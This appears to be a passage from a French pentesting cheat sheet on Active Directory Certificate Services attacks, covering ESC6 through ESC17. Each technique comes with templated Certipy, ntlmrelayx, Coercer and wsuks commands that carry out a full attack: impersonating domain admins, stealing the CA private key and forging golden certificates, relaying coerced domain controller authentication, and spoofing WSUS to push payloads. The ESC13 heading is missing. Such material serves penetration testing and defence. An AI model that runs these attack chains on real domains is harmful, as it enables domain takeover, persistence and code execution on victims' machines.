L’exploitation dépend fortement du contexte et consiste généralement à prendre possession de l’objet cible, puis à le modifier pour faire confiance à une CA dont l’attaquant contrôle la clé privée.

ESC6 : EDITF_ATTRIBUTESUBJECTALTNAME2

Condition : La CA a le flag EDITF_ATTRIBUTESUBJECTALTNAME2 positionné dans sa configuration, ce qui lui fait accepter un SAN spécifié par l’utilisateur dans n’importe quelle demande de certificat, quels que soient les réglages du modèle.

Impact : C’est ESC1 appliqué à chaque modèle de la CA d’un coup, donc n’importe quel utilisateur qui peut s’enrôler dans n’importe quel modèle peut usurper n’importe quel compte du domaine.

Note : Le correctif de Microsoft de mai 2022 (KB5014754) a introduit l’application de restrictions sur le SAN. ESC6 est mitigé dans les environnements à jour.

Commandes :

Certipy détecte le flag pendant l’énumération

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Pour exploiter, on fournit un UPN arbitraire via n’importe quel modèle inscriptible

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User' -upn '{{target_user}}@{{domain}}'
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC7 : Contrôle d’accès vulnérable sur l’autorité de certification

Condition : Un utilisateur à faibles privilèges a les droits ManageCA ou ManageCertificates sur la CA elle-même (pas sur un modèle).

Impact :

  • ManageCA : peut s’accorder ManageCertificates, changer les flags de la CA (par exemple, activer ESC6), ou approuver des demandes de certificat en attente.
  • ManageCertificates seul : peut approuver n’importe quelle demande de certificat en attente. Combiné à un modèle exigeant l’approbation d’un manager, ça permet d’émettre des certificats arbitraires.

Commandes :

Ajouter le droit ManageCertificates à l’utilisateur courant (nécessite ManageCA)

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -add-officer {{username}}

Soumettre une demande de certificat Admin du Domaine via un modèle qui nécessite une approbation

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'SubCA' -upn '{{target_user}}@{{domain}}'

Notez le Request ID renvoyé, puis approuvez la demande en attente

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -issue-request <REQUEST_ID>

Récupérer le certificat émis

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -retrieve <REQUEST_ID>
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

Si l’hôte de la CA permet aussi l’administration DCOM à distance, le même droit ManageCA vous permet de sauter entièrement la danse officer/approve et d’aller directement chercher la clé privée de la CA

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -backup

Une fois que vous détenez le certificat et la clé privée de la CA (ca.pfx), vous pouvez forger un certificat pour n’importe quel principal hors ligne, une technique généralement appelée Golden Certificate. Comme il est signé avec la clé propre de la CA plutôt que demandé via la CA, il ne touche jamais AD CS, donc il n’y a rien à logger côté CA, et il reste valide aussi longtemps que le certificat de la CA lui-même, ce qui représente généralement des années. ça en fait autant une méthode de persistance qu’une méthode d’élévation de privilèges.

certipy-ad forge -ca-pfx ca.pfx -upn '{{target_user}}@{{domain}}' -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
certipy-ad auth -pfx administrator_forged.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC8 : Relayage NTLM vers les points de terminaison HTTP d’AD CS

Condition : L’interface d’enrôlement web de la CA (/certsrv) accepte l’authentification NTLM et n’exige pas l’Extended Protection for Authentication (EPA).

Impact : En coerçant un contrôleur de domaine à s’authentifier vers un serveur contrôlé par l’attaquant et en relayant ces identifiants vers l’enrôlement web de la CA, un attaquant peut obtenir un certificat pour le compte machine du DC puis effectuer un DCSync.

Commandes :

Démarrer le relayage en ciblant l’enrôlement web de la CA

ntlmrelayx.py -t http://{{CA_IP}}/certsrv/certfnsh.asp --adcs --template DomainController

Forcer l’authentification du DC (Coercer implémente PetitPotam, PrinterBug, DFSCoerce, et plus)

python3 Coercer.py coerce -u {{username}} -p '{{password}}' -d {{domain}} \
  -l {{ATTACKER_IP}} -t {{DC_IP}}

Récupérer le certificat base64 depuis la sortie de ntlmrelayx puis s’authentifier

certipy-ad auth -pfx dc.pfx -dc-ip {{DC_IP}}

ESC9 : No Security Extension

Condition : Le modèle a le flag CT_FLAG_NO_SECURITY_EXTENSION positionné (msPKI-Certificate-Name-Flag), ce qui veut dire que les certificats émis ne contiendront pas l’extension de sécurité szOID_NTDS_CA_SECURITY_EXT (qui lie le certificat à un SID spécifique). En plus de ça, l’attaquant a GenericWrite sur un compte cible.

Impact : En changeant temporairement l’UPN d’un utilisateur cible pour correspondre à un autre compte privilégié, en demandant un certificat avec cet UPN, puis en rétablissant l’UPN, le certificat résultant se mappe sur le compte privilégié pendant l’authentification.

Commandes :

Étape 1 : changer l’UPN de la victime pour l’UPN du compte cible

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_user}}@{{domain}}

Étape 2 : demander un certificat en tant que victime (le certificat contiendra l’UPN de l’Admin du Domaine)

certipy-ad req -u {{target_account}}@{{domain}} -p '{{target_password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate'

Étape 3 : restaurer l’UPN original de la victime

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_account}}@{{domain}}

Étape 4 : s’authentifier en tant qu’Admin du Domaine

certipy-ad auth -pfx administrator.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC10 : Mappings de certificats faibles

Condition : La clé de registre StrongCertificateBindingEnforcement du contrôleur de domaine (HKLM\SYSTEM\CurrentControlSet\Services\Kdc) est réglée sur 0 (aucune application) ou 1 (audit seulement). En plus de ça, l’attaquant a GenericWrite sur un compte cible.

Impact : Même idée qu’ESC9. En manipulant l’UPN d’un utilisateur et en demandant un certificat, le mapping KDC faible vous laisse vous authentifier en tant qu’un autre compte. Deux chemins d’attaque existent :

  • Cas 1 (StrongCertificateBindingEnforcement = 0) : Modifier l’UPN d’un compte contrôlé vers l’UPN d’une cible, demander un certificat, restaurer l’UPN, s’authentifier.
  • Cas 2 (CertificateMappingMethods inclut le mapping par UPN) : Modifier l’UPN d’un compte contrôlé vers le format email/UPN d’une cible, même déroulé.

Commandes :

Vérifier le registre à distance (nécessite un accès au DC)

reg query \\<DC>\HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement

Le déroulé d’exploitation est identique à ESC9, donc manipulez l’UPN, demandez le certificat, rétablissez, puis authentifiez-vous

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_user}}@{{domain}}
certipy-ad req -u {{target_account}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User'
certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_account}}@{{domain}}
certipy-ad auth -pfx administrator.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC11 : Relayage NTLM vers l’enrôlement de certificat par RPC

Condition : La CA n’applique pas le flag IF_ENFORCEENCRYPTICERTREQUEST, ce qui veut dire que l’interface RPC ICertPassage n’exige pas de connexions NTLM chiffrées et peut être ciblée par des attaques de relayage.

Impact : Comme ESC8 mais via RPC au lieu de HTTP, donc les identifiants d’un compte machine peuvent être relayés vers le point de terminaison d’enrôlement RPC de la CA pour obtenir un certificat de DC.

Commandes :

Relayer vers le point de terminaison RPC (Certipy 4+)

certipy-ad relay -target rpc://{{CA_IP}} -template DomainController

Forcer l’authentification du DC comme d’habitude, par exemple avec Coercer

python3 Coercer.py coerce -u {{username}} -p '{{password}}' -d {{domain}} \
  -l {{ATTACKER_IP}} -t {{DC_IP}}
certipy-ad auth -pfx dc.pfx -dc-ip {{DC_IP}}

ESC12 : Accès shell via le DCOM d’ADCS

Condition : L’attaquant a les droits ManageCA sur une CA qui tourne sur une machine où l’administration DCOM à distance est autorisée ou a obtenu un accès shell au serveur CA par d’autres moyens.

Impact : Avec ManageCA, l’attaquant peut interagir avec le serveur CA via les interfaces DCOM (par exemple ICertAdminD2) pour émettre ou modifier des certificats, extraire la clé privée de la CA, ou installer un module malveillant. À ce stade, la CA est totalement compromise.

Commandes :

Extraire le certificat et la clé privée de la CA depuis une CA que l’attaquant contrôle ou sur laquelle il est admin

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -backup

Une fois que vous détenez le certificat et la clé privée de la CA (ca.pfx), vous pouvez forger un certificat pour n’importe quel principal hors ligne comme mentionné dans la section ESC7

Forger un certificat usurpant un admin du domaine

certipy-ad forge -ca-pfx ca.pfx -upn '{{target_user}}@{{domain}}' -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'

S’authentifier avec le certificat forgé

certipy-ad auth -pfx administrator_forged.pfx -domain {{domain}} -dc-ip {{DC_IP}}

Condition : Un modèle de certificat est lié à une politique d’émission (msPKI-OID-Attribute) qui est elle-même liée à un groupe AD via l’attribut msDS-OIDToGroupLink et un utilisateur à faibles privilèges peut s’enrôler dans ce modèle.

Impact : Obtenir un certificat depuis ce modèle fait automatiquement ajouter par Kerberos le SID du groupe lié au PAC pendant l’authentification, ce qui accorde à l’attaquant les privilèges de ce groupe, même s’il s’agit d’un groupe à hauts privilèges comme les Enterprise Admins.

Commandes :

Certipy 4.8+ détecte ESC13

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

S’enrôler dans le modèle

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate'

S’authentifier. Le TGT inclura le SID du groupe lié dans le PAC

certipy-ad auth -pfx user.pfx -dc-ip {{DC_IP}}

ESC14 : Mapping explicite faible

Condition : L’attribut altSecurityIdentities d’un compte cible contient un mapping de certificat faible (par exemple X509: (issuer/subject) sans numéro de série, ou X509:(UPN)) que l’attaquant peut satisfaire en obtenant un certificat aux champs correspondants depuis une CA qu’il contrôle ou qu’il a influencée.

Impact : L’attaquant forge ou obtient un certificat dont le DN Issuer/Subject ou l’UPN correspond à une entrée de mapping faible dans l’altSecurityIdentities du compte cible, ce qui lui permet de s’authentifier en tant que ce compte.

Commandes :

Certipy 4.8+ détecte les comptes avec des mappings altSecurityIdentities faibles

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Obtenir ou forger un certificat correspondant au mapping faible du compte cible puis s’authentifier

certipy-ad auth -pfx forged.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC15 : Contournement de l’EKU par Application Policy (EKUwu)

Condition : Le modèle de certificat utilise le Schema Version 1 et spécifie ses capacités d’authentification via des Application Policies (szOID_APPLICATION_CERT_POLICIES) plutôt que via l’extension EKU standard et les utilisateurs à faibles privilèges peuvent s’enrôler. Les Application Policies incluant Client Authentication (1.3.6.1.5.5.7.3.2) sont honorées par PKINIT et Schannel même quand le champ EKU standard ne les liste pas. Les modèles en Schema Version 2+ peuplent automatiquement l’Application Policy depuis l’EKU ce qui ferme cette porte.

Note : ESC15 (EKUwu) est la CVE-2024-49019 découverte par TrustedSec. Le correctif de Microsoft de novembre 2024 a corrigé la faille sous-jacente. Comme ESC6, c’est donc mitigé sur les CA à jour.

Impact : Un attaquant peut demander un certificat depuis un modèle qui a l’air de n’avoir aucun EKU d’authentification (donc les vérifications ESC1/ESC2 passent) mais qui porte en réalité Client Authentication via Application Policy, puis l’utiliser pour l’authentification Kerberos. Si le modèle autorise aussi ENROLLEE_SUPPLIES_SUBJECT, l’usurpation d’un utilisateur arbitraire s’ensuit.

Commandes :

Certipy remonte le mauvais usage d’Application Policy

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Demander et s’authentifier, même déroulé qu’ESC1

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -upn '{{target_user}}@{{domain}}'
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC16 : Extension de sécurité désactivée sur la CA (globalement)

Condition : La CA a l’OID de l’extension de sécurité SID (szOID_NTDS_CA_SECURITY_EXT, 1.3.6.1.4.1.311.25.2) listé dans son DisableExtensionList, ce qui retire cette extension de chaque certificat qu’elle émet, quel que soit le modèle. Ce flag global aurait à l’origine servi de contournement à une interaction entre les correctifs d’ESC6 et d’ESC7, puis serait simplement resté en place. En plus de ça, l’attaquant a besoin de GenericWrite sur un compte cible.

Impact : La même astuce qu’ESC9 et ESC10, sauf qu’elle n’est limitée à aucun modèle ni aucun paramètre du KDC en particulier : puisque l’extension de sécurité manque sur chaque certificat émis par la CA, le mapping faible basé sur l’UPN fonctionne à l’échelle du domaine, pour n’importe quel modèle.

Commandes :

Vérifier les extensions désactivées de la CA

certutil -getreg policy\DisableExtensionList

Certipy le détecte aussi pendant l’énumération

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Le déroulé d’exploitation est la même danse d’UPN qu’ESC9/ESC10

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_user}}@{{domain}}
certipy-ad req -u {{target_account}}@{{domain}} -p '{{target_password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User'
certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_account}}@{{domain}}
certipy-ad auth -pfx administrator.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC17 : Certificats émis par AD CS contre WSUS

Condition : Un modèle de certificat a ENROLLEE_SUPPLIES_SUBJECT activé mais seulement l’EKU Server Authentication : un correctif d’ESC1 incomplet qui a retiré les EKU d’authentification dangereux mais laisse le modèle utilisable pour forger un certificat pour n’importe quel nom d’hôte, y compris une infrastructure interne comme le serveur WSUS. De simples droits d’enrôlement suffisent.

Impact : Un utilisateur à faibles privilèges demande un certificat au nom du serveur WSUS, puis réalise une attaque on-path (ARP ou DNS spoofing) pour intercepter le trafic WSUS d’un client et présente ce certificat pour satisfaire la validation TLS. À partir de là, un faux serveur WSUS peut pousser une « mise à jour » qui a l’air signée mais qui est en réalité une charge utile, ce qui donne une exécution de code SYSTEM sur chaque machine dont le trafic WSUS peut être intercepté.

Commandes :

Énumérer le pattern (Enrollee Supplies Subject + EKU Server Auth uniquement)

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Demander un certificat au nom du serveur WSUS comme SAN

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -dns '{{WSUS_hostname}}'

Usurper le serveur WSUS et servir la charge utile en TLS avec le certificat forgé (wsuks)

sudo wsuks -t {{victim_ip}} --WSUS-Server {{WSUS_hostname}} --tls-cert wsus.domain.local.pem